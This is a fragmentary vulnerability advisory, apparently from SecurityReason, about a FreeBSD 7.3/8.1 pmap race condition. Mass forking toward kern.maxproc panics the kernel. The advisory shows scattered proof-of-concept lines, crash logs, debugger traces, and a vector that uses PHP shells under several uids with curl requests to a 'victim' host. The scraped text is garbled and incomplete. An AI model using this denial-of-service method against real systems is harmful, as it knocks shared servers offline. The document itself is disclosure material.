FreeBSD 8.1/7.3 vm.pmap kernel local race condition
简介:
Author: Maksymilian Arciemowicz http://SecurityReason.
Author: Maksymilian Arciemowicz |
http://SecurityReason.com |
Affected Software (verified): |
http://securityreason.com/achievement_securityalert/88 |
This is the maximum number of processes a user may be running. This |
includes foreground and background processes alike. For obvious reasons, |
this may not be larger than the system limit specified by the |
kern.maxproc sysctl(8). Also note that setting this too small may hinder |
a user's productivity: it is often useful to be logged in multiple times |
or execute pipelines. Some tasks, such as compiling a large program, |
also spawn multiple processes (e.g., make(1), cc(1), and other |
intermediate preprocessors). |
- --- 1. FreeBSD 8.1/7.3 kernel local race condition --- |
Race condition in pmap, allows attackers to denial of service freebsd |
kernel. Creating a lot of process by fork() (~ kern.maxproc), it's |
possible to denial kernel. |
To bypass the MAXPROC from login.conf, we can use a few users to run PoC |
in this same time, to reach kern.maxproc. suphp can be very usefully. |
We need choose vector attack. When we have access to few users via ssh, |
FreeBSD 7.3/8.1 pmap race condition PoC |
Credit: Maksymilian Arciemowicz |
if(0!=(adr=fork())) printf("fork not zero/n"); |
// clock with (int)secdel secound frequency |
printf("sleep %i sec/n",secdel); |
and in the same time (symetric) |
Jul 29 08:41:29 127 kernel: maxproc limit exceeded by uid 1002, please |
see tuning(7) and login.conf(5). |
Jul 29 08:42:01 127 last message repeated 31 times |
Jul 29 08:44:02 127 last message repeated 119 times |
Jul 29 08:50:27 127 syslogd: kernel boot file is /boot/kernel/kernel |
Jul 29 08:50:27 127 kernel: maxproc limit exceeded by uid 0, please see |
tuning(7) and login.conf(5). |
Jul 29 08:50:27 127 kernel: panic: get_pv_entry: increase |
Jul 29 08:50:27 127 kernel: cpuid = 0 |
Jul 29 08:50:27 127 kernel: Uptime: 13m23s |
Jul 29 08:50:27 127 kernel: Cannot dump. Device not defined or unavailable. |
Jul 29 08:50:27 127 kernel: Automatic reboot in 15 seconds - press a key |
Jul 29 08:50:27 127 kernel: --> Press a key on the console to reboot, |
Jul 29 08:50:27 127 kernel: --> or switch off the system now. |
Jul 29 08:50:27 127 kernel: Rebooting... |
Jul 29 08:50:27 127 kernel: Copyright (c) 1992-2010 The FreeBSD Project. |
But when we have php-shell from several uid`s, we can also use suphp. |
drwxr-xr-x 2 root wheel 512 Jul 29 08:43 . |
drwxr-xr-x 4 root wheel 512 Jul 29 08:38 .. |
- -rw-r--r-- 1 cx cx 27 Jul 29 08:38 cxuser.php |
- -rwxr-xr-x 1 cx cx 7220 Jul 29 08:38 def |
- -rw-r--r-- 1 max max 27 Jul 29 08:43 maxuser.php |
now remote request to cxuser.php and maxuser.php |
curl http://victim/hack/cxuser.php |
curl http://victim/hack/maxuser.php |
Jul 29 08:43:07 localhost login: ROOT LOGIN (root) ON ttyv0 |
Jul 29 08:48:30 localhost syslogd: kernel boot file is /boot/kernel/kernel |
Jul 29 08:48:30 localhost kernel: maxproc limit exceeded by uid 1001, |
please see tuning(7) and login.conf(5). |
Jul 29 08:48:30 localhost kernel: panic: get_pv_entry: increase |
Jul 29 08:48:30 localhost kernel: cpuid = 0 |
Jul 29 08:48:30 localhost kernel: Uptime: 4m43s |
Jul 29 08:48:30 localhost kernel: |
Jul 29 08:48:30 localhost kernel: Dump failed. Partition too small. |
Jul 29 08:48:30 localhost kernel: Automatic reboot in 15 seconds - press |
a key on the console to abort |
Jul 29 08:48:30 localhost kernel: Rebooting... |
Jul 29 08:48:30 localhost kernel: Copyright (c) 1992-2010 The FreeBSD |
- ---debug log - cron (uid=0)--- |
maxproc limit exceeded by uid 1002, please see tuning(7) and login.conf(5). |
maxproc limit exceeded by uid 1001, please see tuning(7) and login.conf(5). |
maxproc limit exceeded by uid 1001, please see tuning(7) and login.conf(5). |
maxproc limit exceeded by uid 1002, please see tuning(7) and login.conf(5). |
panic: get_pv_entry: increase vm.pmap.shpgperproc |
[ thread pid 7417 tid 106207 ] |
Stopped at kdb_enter+0x3a: movl $0,kdb_why |
[ thread pid 7417 tid 106207 ] |
Stopped at kdb_enter+0x3a: movl $0,kdb_why |
pid ppid pgrp uid state wmesg wchan cmd |
7417 880 880 0 RL CPU 0 cron |
7413 880 880 0 D ppwait 0xc8118548 cron |
7412 7411 7412 0 Ss wait 0xc8118aa0 sh |
7411 880 880 0 S piperd 0xc4d7eab8 cron |
7410 5367 1294 1001 RL+ def |
7409 5366 1294 1001 RL+ def |
7408 5365 1294 1001 RL+ def |
7407 5364 1294 1001 RL+ def |
7406 5363 1294 1001 RL+ def |
7405 5362 1294 1001 RL+ def |
7404 5361 1294 1001 RL+ def |
Tracing pid 7417 tid 106207 td 0xc8113280 |
kdb_enter(c0ccfb5c,c0ccfb5c,c0d0a037,e7f9da38,0,...) at kdb_enter+0x3a |
panic(c0d0a037,10,c0d09b5f,88c,0,...) at panic+0x136 |
get_pv_entry(c80bcce0,0,c0d09b5f,ccd,c0fabd00,...) at get_pv entry+0x252 |
pmap_enter(c80bcce0,a0f7000,1,c2478138,5,...) at pmap_enter+0x34c |
vm_fault(c8Obcc30,a0f7000,1,0,a0f711b,...) at vm_fault+0x1b02 |
trap_pfault(5,0,c0dOblle,c0cd1707,c8118550,...) at trap_pfault+0xl0d |
trap(e7f9dd28) at trap+0x2d0 |
calltrap() at calltrap+0x6 |
- --- trap 0xc, eip = 0xa0f711b, esp = 0xbfbfec8c, ebp = 0xbfbfecc8 -- |
curthread = 0xc8113280: pid 7417 "cron" |
idlethread = 0xc4183a00: tid 100003 "idle: cpu0" |
fs 0xc08f0008 free_unr+0x188 |
eip 0xc08de44a kdb_enter+0x3a |
kdb_enter+0x3a: movl $0,kdb_why |
cnt.v_inactive_count: 3369 |
cnt.v_active_count: 44397 |
cnt.v_inactive_target: 8748 |
- ---debug log - crash in cron (uid=0)--- |
- ---debug log - crash in def (uid=1001)--- |
6774 4777 2009 1001 RL+ def |
6773 4777 2009 1001 RL+ CPU 0 def |
6772 4777 2009 1001 RL+ def |
curthread = Oxc8c34c80: pid 6773 "def" |
idlethread = 0xc4183a00: tid 100003 "idle: cpu0" |
- ---debug log - crash in def (uid=1001)--- |
FreeBSD 7.3/8.1 pmap race condition PoC |
Credit: Maksymilian Arciemowicz |
if(0!=(adr=fork())) printf("fork not zero/n"); |
// clock with (int)secdel secound frequency |
printf("sleep %i sec/n",secdel); |
sp3x, Infospec, Adam Zabrocki 'pi3' |
Author: SecurityReason.com [ Maksymilian Arciemowicz ] |
- - cxib {a/./t] securityreason [d=t} com |
- - http://securityreason.com/key/Arciemowicz.Maksymilian.gpg |
http://securityreason.com/ |
- ------------------------ |
pub 1024D/A6986BD6 2008-08-22 |
uid Maksymilian Arciemowicz (cxib) |
<cxib () securityreason com> |
sub 4096g/0889FA9A 2008-08-22 |
http://securityreason.com |
http://securityreason.com/key/Arciemowicz.Maksymilian.gpg |